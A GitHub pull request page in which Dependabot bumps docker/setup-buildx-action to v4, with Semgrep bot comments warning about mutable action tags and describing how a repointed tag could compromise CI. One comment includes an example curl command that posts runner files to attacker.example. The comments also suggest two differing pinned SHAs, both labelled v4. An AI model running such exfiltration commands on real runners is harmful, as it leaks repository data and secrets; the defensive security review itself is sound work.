Skip to content

chore(deps): bump docker/setup-buildx-action from 3 to 4 #120

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
dependabot wants to merge 1 commit into
base: main
Choose a base branch
from
Open

chore(deps): bump docker/setup-buildx-action from 3 to 4 #120

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .github/workflows/build.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,7 @@ jobs:
uses: docker/setup-qemu-action@v3

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-buildx-action is referenced by the mutable v4 tag, so future workflow runs may execute different code if that tag is repointed. A compromised action release could tamper with the Buildx setup and the later Docker build in this job.

More details about this

docker/setup-buildx-action@v4 is pulled by the mutable v4 tag, so this workflow will run whatever commit the action owner later points v4 to. In this job, that action runs right before docker buildx create --name builder --bootstrap --use and docker buildx build, so a repointed tag could change how the builder is installed or execute attacker-controlled code on the GitHub runner.

A plausible attack looks like this:

  1. An attacker compromises the docker/setup-buildx-action repository or a maintainer account and moves the v4 tag to a malicious commit.
  2. Your container_tests_glibc job starts and executes uses: docker/setup-buildx-action@v4, fetching that new commit automatically.
  3. The malicious action runs during the Set up Docker Buildx step and can read the workflow workspace, environment variables, and any credentials available to the job.
  4. It can then tamper with the later docker buildx build command, for example by altering the builder used for linux/${{ matrix.linux_arch }} images or by exfiltrating repository data before the upload-artifact step publishes the build output.

Because the reference is not a full 40-character commit SHA, the code that runs here can change without any PR in this repository.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action tag with a full 40-character commit SHA in the uses line for docker/setup-buildx-action.
  2. Keep the current action version in a comment after the SHA so the pinned version is still easy to recognize, for example: uses: docker/setup-buildx-action@<full-40-char-sha> # v4.
  3. Use the commit SHA from the exact v4 release you intend to keep, not a branch name or short hash. Pinning to a commit prevents the action owner from moving the reference to different code later.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Run Buildx
run: |
Expand Down Expand Up @@ -95,7 +95,7 @@ jobs:
uses: docker/setup-qemu-action@v3

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-buildx-action@v4 uses a movable tag, so a repointed v4 could make this workflow run attacker-controlled code during the Buildx setup step.

More details about this

docker/setup-buildx-action@v4 pulls the action by a mutable tag instead of an exact commit, so the code that runs in the Set up Docker Buildx step can change without any review in this repository. In this workflow, that step runs before docker buildx create and docker --debug buildx build, so if someone who can repoint v4 publishes a malicious commit, your runner would execute it with access to the job workspace and any secrets or tokens available to this job.

A plausible attack looks like this:

  1. An attacker compromises the docker/setup-buildx-action repository or maintainer account and moves the v4 tag to a new malicious commit.
  2. This workflow later starts container_tests_musl, reaches uses: docker/setup-buildx-action@v4, and downloads the attacker-controlled action code because v4 is not fixed to one 40-character SHA.
  3. That malicious action runs on your GitHub runner during Set up Docker Buildx and can read files in the checkout, inspect environment variables, and use the workflow token available to the job.
  4. The attacker can then exfiltrate repository data or tamper with the later docker buildx build invocation so the produced prebuilds/ artifacts contain backdoored binaries before the upload step publishes them.

To resolve this comment:

✨ Commit fix suggestion

  1. Replace the mutable version tag in the uses line with a full 40-character commit SHA for docker/setup-buildx-action.
    Change uses: docker/setup-buildx-action@v4 to uses: docker/setup-buildx-action@<full-40-character-sha>.

  2. Keep the action version as an inline comment so the workflow stays readable, for example:
    uses: docker/setup-buildx-action@<full-40-character-sha> # v4.x.y

  3. Pin the SHA to the exact upstream release you intend to use, not just the major tag.
    This prevents the action owner from silently moving v4 to different code later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Run Buildx
run: |
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/test.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ jobs:
uses: docker/setup-qemu-action@v3

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-buildx-action is referenced by the mutable tag @v4, so this workflow may run different action code later without any change in this repo. If that tag is repointed, attacker-controlled code could run in the Buildx setup step and tamper with or exfiltrate CI data.

More details about this

docker/setup-buildx-action@v4 pulls whatever code the action owner currently points the v4 tag at during this workflow run. In this job, that code runs in the Set up Docker Buildx step before docker buildx create and docker buildx build, so a repointed v4 could execute attacker-controlled logic on ubuntu-latest with access to the job workspace and the workflow's GitHub-provided tokens.

A plausible attack looks like this:

  1. An attacker compromises the docker/setup-buildx-action repository or one of its maintainers.
  2. They move the v4 tag to a new commit that adds a hidden payload to the action.
  3. When container_tests_glibc runs, uses: docker/setup-buildx-action@v4 fetches that new commit automatically.
  4. The payload runs inside the Set up Docker Buildx step and can read files checked out by actions/checkout, inspect values produced later in the job, or use the job token to make API calls back to GitHub.
  5. It can then tamper with the Buildx environment so the later docker buildx build command builds with a malicious builder configuration, or exfiltrate repository contents and CI data to an attacker-controlled server with a command like curl -d @/home/runner/work/... https://attacker.example/upload.

Because the reference is @v4 instead of a full 40-character commit SHA, the exact code executed here can change without any workflow diff in this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@988b5a0280414f521da01fcc63a27aeeb4b104db # v4.0.0
View step-by-step instructions

  1. Replace the mutable GitHub Action reference docker/setup-buildx-action@v4 with a full 40-character commit SHA for the exact release you want to trust.
    For example, change it to uses: docker/setup-buildx-action@<full-40-character-sha> # v4.x.y.

  2. Keep the version as a comment after the SHA so the workflow stays readable and future updates are easier.
    For example: uses: docker/setup-buildx-action@<full-40-character-sha> # v4.?.?.

  3. Get the SHA from the action's official repository release or tag page, and make sure it is the commit that the chosen v4 release points to.
    Pinning to a commit SHA prevents the tag from being silently moved to different code later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Run Buildx
run: |
Expand Down Expand Up @@ -110,7 +110,7 @@ jobs:
uses: docker/setup-qemu-action@v3

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-buildx-action@v4 uses a mutable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.

More details about this

docker/setup-buildx-action@v4 pulls the action by the mutable tag v4, not a specific commit. If the owner of docker/setup-buildx-action or anyone who gains access to that repository repoints v4 to a malicious commit, this job will run the attacker's code during the Set up Docker Buildx step on ubuntu-latest.

A plausible attack looks like this:

  1. An attacker compromises the docker/setup-buildx-action repository and moves the v4 tag to a new commit they control.
  2. Your workflow reaches uses: docker/setup-buildx-action@v4 and GitHub downloads that new commit instead of the code you previously reviewed.
  3. The malicious action runs before Run Buildx, with access to the job environment, workspace contents checked out by actions/checkout@v6, and any credentials or tokens available to this job.
  4. The action can then exfiltrate data or tamper with the build, for example by sending repository files or CI secrets to an attacker-controlled server, or by modifying the Buildx setup so the later docker buildx build step produces a poisoned image.

Because the reference is @v4, the code that runs here can change without any change to this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@c47758d5f291e52bfb4f34b65c3b7e29e4b77c46 # v4
View step-by-step instructions

  1. Replace the mutable action tag with a full 40-character commit SHA in the uses line.
    Change uses: docker/setup-buildx-action@v4 to uses: docker/setup-buildx-action@<full-commit-sha> # v4.

  2. Keep the version as a comment after the SHA so the intended release stays clear, for example uses: docker/setup-buildx-action@<full-commit-sha> # v4.x.y.
    Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code.

  3. Get the SHA from the exact docker/setup-buildx-action release you want to trust, and use that commit rather than a branch or tag reference.

  4. Apply the same pinning format to the other third-party GitHub Actions in this workflow that still use version tags, such as actions/checkout@v6, actions/setup-node@v6, and docker/setup-qemu-action@v3, so every external action uses @<40-char-sha>.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Run Buildx
run: |
Expand Down
Loading